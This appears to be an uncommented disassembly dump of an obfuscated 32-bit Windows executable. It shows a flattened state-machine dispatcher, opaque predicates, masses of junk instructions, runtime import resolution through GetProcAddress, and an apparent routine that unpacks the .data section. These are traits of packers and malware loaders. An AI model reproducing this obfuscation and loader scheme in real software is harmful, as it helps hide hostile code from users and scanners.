or ecx, esi
mov esi, ecx
xor esi, 0x8882098
xor ecx, 0xa4231e24
and ecx, 0xe773df24
and esi, 0x188c20da
or esi, ecx
mov ecx, eax
or ecx, 0xe773df24
and eax, 0x55d9c28c
and ecx, 0xe773df25
or eax, edx
xor ecx, esi
mov esi, ecx
not esi
mov edx, ecx
and edx, 0x8df2092c
and esi, 0x720df6d3
or esi, edx
mov edx, eax
xor edx, 0x5009c280
xor eax, 0xaa263d73
or ecx, eax
and eax, 0x8df2092c
and edx, 0x720df6d3
or edx, eax
not ecx
xor edx, esi
mov esi, 0x7e2dd249
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xf2c351a2
and eax, 0xd3cae5d
or ecx, eax
xor ecx, 0xf2c351a2
sete dl
setne ah
cmp dword [0x4f6180], 0xa
setge cl
setl al
or cl, dl
or ah, al
mov ch, cl
or cl, ah
xor ch, ah
mov ah, al
xor cl, 1
xor al, dl
or ah, dl
or cl, ch
xor ah, 1
or al, ah
mov ah, cl
mov edx, eax
xor ah, 1
and cl, al
xor dl, 1
and dl, ah
or ah, al
or cl, dl
mov ch, ah
xor ch, cl
test ah, 1
mov eax, 0x28df4083
cmovne eax, esi
test cl, 1
cmove eax, esi
test ch, 1
mov ecx, 0x28df4083
cmove eax, ecx
jmp 0x402740
cmp eax, 0xfc63d913
je 0x4126b5
cmp eax, 0xfcc899b3
je 0x4127a0
cmp eax, 0xfce7edc3
jne 0x402740
mov eax, 0xd957cc7e
jmp 0x402740
cmp eax, 0x384750b5
je 0x4127b5
cmp eax, 0x38866484
je 0x4127bf
cmp eax, 0x38982ede
jne 0x402740
mov eax, 0x94647129
jmp 0x402740
cmp eax, 0xb58529f0
je 0x4127c9
cmp eax, 0xb585996e
je 0x4128b2
cmp eax, 0xb65504b3
jne 0x402740
mov eax, dword [ebp - 0x168]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
add eax, dword [ebp - 0x94]
push dword [ebp - 0xc4]
push dword [ebp - 0x160]
push dword [ebp - 0x164]
push eax
vzeroupper
call fcn.00401c20
add esp, 0x10
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x58]
mov eax, 0x7d6dea89
jmp 0x402740
cmp eax, 0x70a7d69d
je 0x4129c0
cmp eax, 0x70c1bb19
je 0x4129ca
cmp eax, 0x71454e64
jne 0x402740
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov eax, 0xde0bf6ec
jmp 0x402740
cmp eax, 0xe138d4c1
je 0x412a6b
cmp eax, 0xe13f9b4b
je 0x412a75
cmp eax, 0xe1edf28d
jne 0x402740
mov eax, dword [ebp - 0xb4]
mov eax, 0xf8c771d1
jmp 0x402740
cmp eax, 0x11a86c6e
je 0x412a7f
cmp eax, 0x126016fd
je 0x412bec
cmp eax, 0x1302ce46
jne 0x402740
mov eax, dword [ebp - 0x10c]
mov esi, 0x2ffb7b41
add eax, 0x34
mov dword [ebp - 0x110], eax
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x24fe1d78
and ecx, 0xdb01e287
or eax, ecx
mov ecx, eax
xor ecx, 0x20480020
xor eax, 0x1b008280
and eax, 0x1fb69fd8
and ecx, 0xe0496027
or ecx, eax
mov eax, ecx
xor eax, 0x1e221c18
xor ecx, 0xe0496027
mov edx, ecx
and edx, 0x19dc3c0
and eax, 0xfe623c3f
or eax, edx
xor eax, 0xfe623c3f
or eax, ecx
cmp eax, 0xffffffff
setne dl
cmp dword [0x4f6180], 0xa
mov ah, dl
mov ecx, edx
setl ch
setge al
inc ah
and cl, ah
xor cl, 1
or cl, ah
or ah, ch
xor cl, 1
or cl, dl
or ch, cl
xor cl, 1
or cl, al
xor al, dl
xor al, 1
mov dh, cl
or cl, ch
mov dl, al
or al, ah
xor dh, ch
xor cl, 1
xor dl, ah
xor al, 1
or cl, dh
or al, dl
mov ch, cl
mov edx, eax
xor ch, 1
xor dl, 1
and dl, ch
or ch, al
and al, cl
or al, dl
mov cl, ch
mov edx, 0x4c3ec33c
xor cl, al
test al, 1
mov eax, 0x2ffb7b41
cmovne eax, edx
test ch, 1
cmovne eax, esi
test cl, 1
cmove eax, edx
jmp 0x402740
cmp eax, 0x8aa4f8cd
je 0x412c0b
cmp eax, 0x8b070402
je 0x412c2c
cmp eax, 0x8c6e6557
jne 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x6cac18d8
and edx, 0x9353e726
or eax, edx
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
mov esi, eax
xor esi, 0x28ac18c0
xor eax, 0x9353e727
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xc643663f
and esi, 0x39bc99c0
and edx, 0x39bc99c0
or eax, ebx
and ebx, 0xc643663f
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0x9599fcb4
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete dl
setne al
cmp dword [0x4f6180], 0xa
mov ch, dl
setge ah
setl cl
and ch, ah
xor ah, dl
and al, cl
or cl, dl
mov dl, ah
or al, ch
xor dl, cl
or cl, ah
not cl
or cl, dl
mov edx, 0x2f138c92
xor cl, al
and cl, 1
cmovne edx, esi
test cl, al
mov esi, 0x2f138c92
cmovne edx, esi
test cl, cl
cmovne esi, edx
test cl, al
jmp 0x40fcd6
cmp eax, 0x4c3ec33c
je 0x412c36
cmp eax, 0x4d5f8545
je 0x412c40
cmp eax, 0x4d9b6c9e
jne 0x402740
mov eax, 0xe1edf28d
jmp 0x402740
cmp eax, 0xf5a894a1
je 0x412c4a
cmp eax, 0xf5a96ec5
je 0x412e1b
cmp eax, 0xf5dd1344
jne 0x402740
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov dword [ebp - 0x1a0], eax
mov eax, 0xfcc899b3
jmp 0x402740
cmp eax, 0x3151d1a9
je 0x412e25
cmp eax, 0x31bc56a5
je 0x412e3d
cmp eax, 0x325e9c45
jne 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xe5da1115
not edx
mov esi, edx
and ecx, eax
and esi, 0xe5da1115
and edx, 0xad848212
and eax, 0x527b7ded
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xc70860bb
mov edx, eax
xor eax, 0xad848212
xor edx, 0x527b7ded
and esi, 0x38f79f44
or ecx, esi
mov esi, ecx
xor esi, 0x22d271af
xor ecx, 0xdd2d8e50
and eax, esi
and edx, ecx
mov esi, 0x31bc56a5
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x4f6180], 0xa
mov ch, dl
setl cl
setge al
or ch, cl
xor cl, dl
xor dl, al
and cl, ch
mov ch, al
or al, ah
xor ch, ah
xor al, 1
mov ah, dl
or al, ch
mov ch, cl
xor ah, al
or al, dl
xor ch, 1
xor al, 1
or al, ah
mov edx, eax
not dl
and dl, ch
or ch, al
and al, cl
or al, dl
mov edx, 0xb957ca62
mov cl, al
xor cl, ch
test al, al
mov eax, 0xb957ca62
cmovne eax, esi
test ch, 1
jmp 0x40fb33
cmp eax, 0xabcbd70f
je 0x412e51
cmp eax, 0xac69090f
jne 0x402740
movzx eax, word [ebp - 0xde]
mov ecx, dword [ebp - 0x68]
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x54]
mov edi, 0x53e8402c
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
cmp dword [eax], 0
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
setne byte [ebp - 0xa0]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xea4470f0
and eax, 0x15bb8f0f
or ecx, eax
mov eax, ecx
xor eax, 0xca4060a0
xor ecx, 0x108a8e0b
and ecx, 0x308e9e5b
and eax, 0xcf7161a4
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0xcf7161a4
xor ecx, 0x308e9e5b
xor edx, 0x308e9e5a
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x19084fa8
mov esi, eax
and esi, 0xe6f7b057
or edx, esi
mov esi, ecx
not esi
and ecx, 0x19084fa8
or eax, esi
and esi, 0xe6f7b057
or ecx, esi
not eax
mov esi, 0xe82ab9fe
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5b40c9b4
and ecx, 0xa4bf364b
or eax, ecx
mov ecx, eax
xor ecx, 0x5a40c0a4
xor eax, 0x24bf2608
and eax, 0x25bf2f18
and ecx, 0xda40d0e7
or ecx, eax
mov eax, ecx
xor eax, 0x25352608
xor ecx, 0xc20010a4
and eax, 0x3d75e64b
and ecx, 0xc28a19b4
or ecx, eax
xor ecx, 0xc28a19b4
sete dl
setne ah
cmp dword [0x4f6180], 0xa
setl cl
setge al
mov ch, cl
xor dl, cl
or cl, ah
xor ch, ah
xor cl, 1
not ch
and ch, ah
or cl, ch
mov ch, al
or al, ah
xor ch, ah
xor al, 1
or al, ch
mov ch, cl
xor al, 1
or al, dl
mov ah, al
xor ch, al
and al, cl
and ch, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov cl, al
xor cl, ch
test al, 1
mov eax, 0x53e8402c
jmp 0x40dcda
cmp eax, 0x6a23ff30
je 0x412ff7
cmp eax, 0x6a638919
jne 0x402740
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xb1b4533b
mov eax, edx
and eax, 0x30344332
and ecx, edx
not edx
and edx, 0x81801009
or eax, edx
mov edx, eax
xor edx, 0x20244220
xor eax, 0xcfcbbccd
mov esi, eax
and esi, 0x98901dde
and edx, 0x21244221
or edx, esi
mov esi, ecx
not esi
and ecx, 0x676fe221
or eax, esi
and esi, 0x98901dde
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb1b4533b
and ecx, 0x4e4bacc4
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xeb2cc33c
and eax, 0x2b54e4f2
and ecx, 0x14d33cc3
or edx, ecx
mov ecx, edx
xor ecx, 0xeb2cc33c
xor edx, 0x4530cc2
mov esi, ecx
and esi, 0xd4ab1b0d
and edx, 0xae7f4fd6
or eax, esi
mov esi, eax
not esi
and eax, 0x171426c3
and esi, 0xe8ebd93c
or eax, esi
mov esi, ecx
and esi, 0x5180b029
and ecx, 1
or esi, edx
xor eax, 0xc3bf3dcf
mov edx, esi
xor edx, 0x84744c83
xor esi, 0x51000028
or ecx, edx
and esi, 0x7b0b037c
and ecx, 0x84f4fc83
or ecx, esi
mov esi, 0x768103bf
xor ecx, 0x84f4fc83
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x662427ca
and eax, 0x99dbd835
or ecx, eax
xor ecx, 0x662427ca
setne dl
sete al
cmp dword [0x4f6180], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
or dl, ah
and dh, ch
and cl, al
xor al, ah
and al, ah
mov ah, dl
or cl, dh
xor al, 1
xor cl, 1
xor ah, al
or al, dl
or cl, ch
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
and al, cl
xor ah, 1
or cl, ah
and ah, dl
mov edx, 0x90bbdbd3
or ah, al
mov al, ah
xor al, cl
test ah, 1
cmovne edx, esi
test cl, 1
mov ecx, 0x90bbdbd3
cmovne edx, ecx
test al, 1
jmp 0x40e688
cmp eax, 0xd00d21d2
je 0x413001
cmp eax, 0xd12add5c
jne 0x402740
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x596b71d0
mov eax, edx
and eax, 0x1cb71b96
and ecx, edx
not edx
and edx, 0xe348e469
or eax, edx
mov edx, eax
xor eax, 0x41486040
xor edx, 0x8031100
or eax, 0xa6948e2f
and edx, 0x84b1100
mov esi, eax
and esi, 0xd5a46cd2
or edx, esi
mov esi, ecx
not esi
and ecx, 0x2a5b932d
or eax, esi
and esi, 0xd5a46cd2
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd1e5f816
and ecx, 0x2e1a07e9
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x77717638
xor ecx, 0x888e89c6
xor edx, 0x888e89c7
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x5eb0134d
mov esi, eax
and esi, 0xa14fecb2
or edx, esi
mov esi, ecx
not esi
and ecx, 0x5eb0134d
or eax, esi
and esi, 0xa14fecb2
or ecx, esi
not eax
mov esi, 0x8ee44128
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 0xd357a797
mov ecx, eax
and ecx, 0x40502211
and edx, eax
not eax
and eax, 0x93078586
or ecx, eax
xor ecx, 0x40502211
or ecx, edx
not edx
and edx, 0x2ca85868
and ecx, 0xd357a797
or ecx, edx
setne dl
sete al
cmp dword [0x4f6180], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
xor dl, ch
and cl, ch
and dh, al
and dl, al
xor al, ah
and al, ah
mov ah, dl
or dh, cl
xor dl, al
xor ah, 1
xor al, 1
mov cl, dh
or al, ah
xor cl, ch
xor al, 1
and cl, dh
or al, dl
mov ah, cl
mov edx, eax
xor ah, 1
xor dl, 1
and ah, al
and dl, cl
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x69e52784
cmovne ecx, esi
test al, 1
mov eax, 0x69e52784
jmp 0x411edf
cmp eax, 0x24c88ac4
je 0x41304a
cmp eax, 0x25a43b1f
jne 0x402740
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x78], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0x7c], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0x8c], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x74]
mov dword [eax], ecx
rol esi, 0xc4
rcr eax, 0x2b
rcl eax, 0xd8
imul eax
bswap edi
inc eax
rcr edi, 0x76
mov edx, 0x2e
bswap eax
ror esi, 0x41
rol esi, 0xec
bswap edi
bswap esi
not ebx
dec eax
not esi
imul edx
inc edi
add eax, 0x55
sub ebx, 0xf2
or ebx, 0x44
bswap ebx
ror ebx, 0xac
ror esi, 0x5c
neg ebx
and esi, 0xa8
inc esi
sub ebx, 0x4b
not esi
bswap esi
bswap ebx
bswap edx
rcl ebx, 0x76
bswap esi
not edx
dec esi
bswap ebx
rcl esi, 0x7e
and edi, 0x10
inc edx
ror edx, 0x21
and eax, 0xdf
imul ebx
add edx, 0x57
not eax
or edi, 0xd9
rcr edi, 0x84
rol edi, 0xd9
inc esi
mov edi, 0x4d
rol edx, 0x40
sbb edx, 0x52
not edx
neg edx
not eax
or esi, 0x1c
rcr edx, 0xa8
mov ebx, 0xd1
ror edi, 0xa3
dec edx
neg ebx
sub edi, 0x24
neg ebx
neg ebx
dec eax
bswap esi
or edi, 0x76
neg ebx
not ebx
neg eax
ror esi, 0x24
rol ebx, 0x97
bswap eax
imul eax
imul ebx
add edx, 0x1b
inc edi
inc eax
imul edi
bswap ebx
and esi, 0xa
neg eax
rol edx, 0xc8
or edx, 0xab
or edi, 0xfb
ror ebx, 0x88
not eax
imul eax
dec ebx
ror edx, 0xb3
rcl eax, 0x48
ror eax, 2
add eax, 0x14
and eax, 0xd5
inc esi
add ebx, 0x4f
imul edx
neg esi
mov edx, 0xd2
ror eax, 0x1e
inc edx
rol esi, 0xee
bswap ebx
sub edx, 0x87
imul edi
dec edi
dec ebx
sbb edi, 0xdf
inc ebx
rcl ebx, 0xc1
bswap edx
bswap ebx
mov edi, 0x3f
bswap edi
rcl ebx, 0xb
and eax, 0xaa
inc edx
not edx
mov edi, 0xad
add ebx, 3
inc ebx
not edi
inc eax
rcr edi, 0xb1
bswap edi
imul edx
neg ebx
rcr edx, 0xe4
sbb edi, 0x8e
add eax, 0xf6
mov eax, 0xa4
add ebx, 0x1f
bswap esi
and esi, 0x25
sbb esi, 0x36
imul ebx
bswap esi
or eax, 0x36
dec eax
sub ebx, 0xd6
rcr edi, 0xbb
rol edi, 0xd8
inc edx
and edi, 0x9f
or edi, 0x1a
neg edx
and edi, 0xe2
neg ebx
dec edx
bswap ebx
inc ebx
neg eax
rol eax, 0x6c
inc esi
rcl ebx, 0x9a
not edx
imul edi
rol esi, 0x78
neg edi
imul edi
neg edi
not edx
mov ebx, 0xc8
rol esi, 0xe7
sub edi, 0x41
dec edi
inc edi
rol edi, 0x8c
neg edi
neg eax
dec edi
add edi, 0x48
sub edi, 0x3a
mov ebx, 0x86
rol eax, 0xad
sbb esi, 0x31
add ebx, 0x51
add edi, 0xca
not ebx
rol edx, 0xf8
bswap eax
bswap eax
add edx, 0x2e
bswap eax
dec edi
sub ebx, 4
inc edi
inc ebx
bswap edx
inc ebx
not edi
bswap edi
dec edx
not eax
ror ebx, 0xe
not esi
neg eax
rcl eax, 0xe9
inc esi
sbb ebx, 0x74
sbb edi, 0xfb
mov edi, 0xd4
bswap ebx
neg eax
dec esi
sub eax, 0x87
bswap eax
neg edi
not esi
rcl ebx, 0xad
dec edx
bswap edx
rcr eax, 0x53
not edx
rcl edx, 0x58
not edx
not esi
neg edx
rcl esi, 0x9e
neg edx
not esi
mov edi, 0x8b
add ebx, 0x1c
bswap edi
dec edx
sbb eax, 0xc1
neg edi
and ebx, 2
rol edi, 0x52
not esi
and esi, 5
bswap edi
not eax
add esi, 0xbe
mov eax, 0xad
not edx
not eax
mov edi, 0x2f
sub eax, 0x47
dec esi
bswap ebx
imul esi
rcr esi, 0x1c
not edi
imul eax
neg edi
add edi, 0xa2
dec ebx
bswap edi
not ebx
add edx, 0xdc
rol edx, 0x6e
ror edi, 0x7f
bswap edx
dec esi
imul eax
neg eax
mov ebx, 0xad
imul ebx
dec edi
not edx
dec esi
ror esi, 0x8b
sbb edi, 0xd7
imul edi
or esi, 0xd6
add edi, 0x67
ror esi, 0x51
dec edi
sbb esi, 0xfa
and eax, 0x38
ror edi, 0x23
rcl ebx, 0x82
imul edx
imul ebx
dec edi
not ebx
and esi, 0xc4
neg edi
bswap eax
and esi, 0x9c
bswap eax
bswap eax
imul edx
mov edx, 0x87
mov esi, 0x70
bswap esi
or ebx, 0x58
inc esi
rol ebx, 0x83
neg ebx
mov esi, 0xe8
rcr esi, 0x76
dec esi
dec eax
mov edx, 0xad
add esi, 0x56
neg edx
mov eax, 0x90
and edx, 0xeb
or esi, 0xb0
rol ebx, 0xb7
rcl edi, 0x9a
not esi
rol esi, 0x15
neg ebx
rcl esi, 0x7a
not edx
add edx, 0x26
ror edi, 6
sub edi, 0xad
or esi, 0x1b
inc ebx
sbb edi, 0x38
add ebx, 0x2c
bswap eax
rcl edi, 0xbf
bswap eax
sub edx, 0xd8
sbb ebx, 0xbd
sub esi, 0xaa
neg eax
imul edx
sbb eax, 0x89
inc esi
dec edi
rcr edi, 0x63
not ebx
sub esi, 0xe2
dec edx
dec edi
sbb eax, 0x52
imul edx
rol ebx, 0xdf
not edi
bswap edx
or edi, 0xf6
ror ebx, 0xb7
mov edi, 0xfa
not eax
not esi
imul edi
sbb eax, 0x7e
inc edi
rcl eax, 0xd5
and edi, 0x7c
rcl ebx, 0x21
imul edi
inc edx
imul edi
and edx, 0xa1
or eax, 0x16
bswap eax
mov eax, 0x7d
mov eax, 0xb9
ror eax, 0x80
sbb esi, 0x44
neg ebx
not edi
sbb eax, 0xc0
rcl esi, 0xfd
bswap eax
rcr edi, 0x6a
or edi, 0x19
imul eax
rcl ebx, 0x8d
mov ebx, 0x70
dec ebx
neg edx
and esi, 1
mov esi, 0x82
rol edx, 0x85
rcr edx, 0xb2
sub ebx, 0x3c
rol edx, 0xae
bswap eax
bswap ebx
and ebx, 0xaf
sbb ebx, 0x8e
mov eax, 0xd
inc eax
imul esi
rcr edi, 0x2f
imul esi
rcl eax, 0xb7
dec ebx
dec edx
sub edi, 0x25
rol ebx, 0x12
rol edx, 0xae
add eax, 0xac
imul eax
dec edi
bswap esi
rcl edi, 0xd4
not esi
or ebx, 0x1f
not ebx
rcl ebx, 0x3d
not ebx
imul edx
inc eax
rcl edi, 0x44
bswap esi
sub edx, 0x89
add eax, 0x43
or ebx, 0x1f
rol esi, 0x42
inc esi
not edi
and eax, 0x97
sbb esi, 0xbb
or esi, 0x32
rcl edx, 0xd9
neg edi
not ebx
rcr edi, 0xa0
rol ebx, 1
neg esi
dec ebx
imul ebx
and edi, 0xf8
not esi
rol edx, 0xd6
and esi, 0x3b
imul ebx
bswap ebx
mov edi, 0x4c
sub ebx, 0xf0
rol ebx, 0x15
or eax, 0x1d
sub eax, 0xe8
or ebx, 0x43
sub edi, 0xf7
rol edx, 0xa9
or edx, 0xc5
dec eax
sbb edi, 0x8e
not edx
neg ebx
neg ebx
bswap esi
dec edx
and edx, 0x81
imul ebx
mov edi, 0x86
not edx
dec eax
inc edi
dec edi
rcl eax, 0x11
and esi, 0xa0
rcr eax, 0xe
rol ebx, 0x89
dec eax
and edx, 0xb1
neg esi
rcl esi, 0xaf
rcl edi, 0x4f
ror edx, 0x73
inc edx
add esi, 0x55
sub ebx, 0x3c
dec edx
or ebx, 0x90
dec esi
and edx, 0xee
dec edi
imul ebx
dec esi
not edx
bswap edi
ror ebx, 8
imul ebx
add edx, 0x52
dec ebx
inc edx
imul edi
not esi
imul eax
inc eax
rcl edx, 0x52
dec esi
bswap esi
rcr esi, 0x51
bswap eax
rcl ebx, 0xf1
or esi, 7
ror eax, 0xba
sbb eax, 0xdc
not ebx
dec esi
sbb edx, 0x71
imul eax
not eax
rcl edi, 0x6f
rcr eax, 0x4c
inc eax
not ebx
inc esi
rol eax, 0x61
rol edi, 0x92
neg eax
or eax, 0x2f
neg ebx
imul edi
rol edx, 0x62
add edx, 0xbc
sub edi, 0x38
rcl esi, 0x47
mov esi, 0x8c
dec esi
and eax, 0xbe
neg edi
neg ebx
or edx, 0x98
dec edi
inc edx
neg edi
rcl edi, 0x7d
rcl eax, 0xef
ror ebx, 0x57
rol edi, 0x67
bswap edx
sub esi, 0x2b
not edx
not esi
neg edx
rol edx, 0x4b
sbb ebx, 0x12
rcl ebx, 0x8f
not edx
add edx, 0x98
neg edx
imul eax
neg edi
or esi, 0x85
inc eax
rcl esi, 0x5b
bswap edx
or edi, 0x4b
or eax, 0x15
mov eax, 0x5e
ror esi, 0xdf
add edx, 0x2c
inc ebx
or eax, 0x92
rcr edi, 0xa3
imul ebx
imul edi
and eax, 0xaf
inc edx
dec eax
and edi, 0x38
ror esi, 0xb1
inc eax
bswap edi
imul eax
or edx, 0xdf
imul edx
imul eax
or edx, 0xb7
neg edi
or ebx, 0x87
rol edi, 0x95
add eax, 0xae
neg edi
inc eax
rcl eax, 0xc4
sub esi, 0x3a
inc ebx
and esi, 7
neg edx
imul edi
not edi
rol edi, 0x65
neg edx
and ebx, 0xa8
and esi, 0x43
rcr esi, 0x46
or edx, 0x7f
or edx, 0x6b
neg eax
not ebx
and ebx, 0x62
ror eax, 0xda
dec ebx
bswap edx
ror ebx, 0x4f
dec eax
sub ebx, 0x43
bswap edi
and ebx, 0x8f
bswap edi
sub eax, 0x3f
neg edi
rol esi, 0xed
not esi
neg edx
rol edi, 0xe8
mov edx, dword [ebp - 0x1c]
mov dword [edx], eax
push 0xace00
push section..data
vzeroupper
call section..text
add esp, 8
mov eax, dword [ebp - 0x74]
mov dword [eax], section..data
dec edx
rol edi, 9
or eax, 0x3b
sbb edx, 0x1a
imul eax
sbb edi, 0x29
ror edi, 0x63
rcr edx, 0
sbb eax, 0x56
sbb esi, 0x25
imul ebx
not edi
imul edx
rcl edx, 0xe4
inc esi
and esi, 0x25
and edx, 0x13
dec edx
and edi, 0x9b
and edx, 0xaa
sbb eax, 0xc6
rol esi, 6
inc eax
inc edx
inc eax
rol edx, 0x64
ror edx, 0xef
neg edi
rcr edx, 0x99
rcr esi, 0x3a
rcl esi, 0x1c
rcl ebx, 0x62
sbb edx, 0xe
sub edi, 0x8b
neg ebx
and edi, 0x51
neg edx
or edi, 0x80
inc edi
imul edi
imul edx
rcl ebx, 0x90
rcl edx, 0xa4
inc esi
dec ebx
sub ebx, 0xa
sbb eax, 0xef
inc edx
rol edi, 0x3f
rcr esi, 0x75
and esi, 0xeb
imul edi
not eax
inc edx
dec esi
neg ebx
add edi, 0x1a
add edx, 0xf5
and edx, 0x3c
not edi
neg edi
sbb edx, 0xce
ror edx, 0x44
rcr esi, 0xc5
rcl edi, 0x67
dec edi
sbb esi, 0xdf
bswap ebx
sub eax, 0x5d
inc eax
bswap edx
not edi
inc edx
dec edi
and ebx, 0xc
imul ebx
neg ebx
imul esi
or edx, 0x75
inc eax
sub edx, 0xf4
sub ebx, 0x5c
bswap ebx
inc edx
not eax
imul edx
bswap edi
dec eax
rcr eax, 0x28
sub edi, 0x45
or edi, 0xd8
ror edi, 0x3e
rcr eax, 0x2f
imul ebx
add eax, 0x2d
not edx
and ebx, 0xe4
and edx, 0xb2
not edx
bswap ebx
bswap eax
not edi
neg edx
and esi, 0x2c
dec edi
bswap eax
bswap edx
rcr ebx, 0x8b
ror eax, 0x33
sbb ebx, 0x43
rcl edi, 0x32
bswap edx
sbb edx, 0x8f
add ebx, 0x74
sub edi, 0xf9
or esi, 0xa8
rcr edx, 0xdd
imul edi
add edx, 0xfd
dec esi
and ebx, 0x39
rcr edx, 7
dec esi
add edi, 0xc
inc edi
ror ebx, 0xed
not ebx
rcl eax, 0x22
imul eax
not edi
rcr edi, 0x6c
not eax
and eax, 0x53
not ebx
dec edx
neg edx
inc edi
imul esi
rol eax, 2
imul edi
dec edi
dec edi
or edi, 0x6a
not edi
not eax
bswap esi
mov eax, 0xbd
dec edi
neg ebx
add ebx, 0x91
dec edi
imul edx
inc edi
bswap edx
not ebx
bswap esi
mov esi, 0x9b
dec esi
rcl eax, 0x9b
not edi
imul edi
rol edi, 0x5d
dec edx
imul ebx
neg eax
sbb edi, 0x90
imul eax
not edx
bswap edx
add esi, 0xbc
not eax
bswap edx
bswap esi
neg edi
or edx, 4
imul esi
add eax, 0x1d
neg edi
add ebx, 0x73
inc ebx
mov esi, 0x4a
bswap ebx
dec edx
ror eax, 0x64
imul edi
rol edi, 0xe8
sbb ebx, 0xa9
or edi, 0xbf
neg ebx
not edx
rol esi, 0x60
bswap esi
and edi, 0xf2
bswap edi
and edi, 0x15
or ebx, 0x4d
and eax, 0xc3
rcr ebx, 0x18
rol eax, 0x55
imul edx
rcr eax, 0x9e
sbb edx, 0x9b
ror edx, 0x4a
imul esi
dec esi
not ebx
add esi, 0xe0
sub eax, 0xad
ror edi, 0x20
or eax, 0x66
neg eax
add esi, 0xa5
dec ebx
imul ebx
mov eax, 0xd3
ror esi, 0x84
add edi, 0x7f
rol ebx, 0xcd
inc edx
rol edx, 0x5f
rcl edi, 0x3c
rcr esi, 0xe1
not eax
mov edi, 0xcf
neg ebx
not esi
inc edi
or eax, 0x84
sbb esi, 0x7f
rcl esi, 0x3e
bswap esi
dec edi
rcr ebx, 0xf6
mov edi, pe_nt_image_headers32
inc ebx
inc esi
imul esi
and edx, 0xf8
add eax, 0xfc
dec edx
bswap eax
imul esi
mov edi, 0x62
sub esi, 0xc
ror edx, 0x2a
rol eax, 0x68
ror esi, 0x6b
dec edi
rcl edx, 0x8c
bswap edi
rcr eax, 0x79
bswap ebx
mov ebx, 0x39
rcr edi, 0x11
rol esi, 0xfd
sub edi, 0xf7
not edi
bswap esi
rol esi, 0x83
rcl ebx, 0xcb
bswap edx
ror eax, 0xfd
inc esi
neg eax
rcl edi, 0x51
add edi, 0x2c
add edi, 0xd5
inc edx
not edx
inc edi
rcr eax, 0xfb
mov edi, 0x5e
dec eax
bswap ebx
inc eax
sbb eax, 0xf4
ror edx, 0xf
mov esi, 0xed
bswap esi
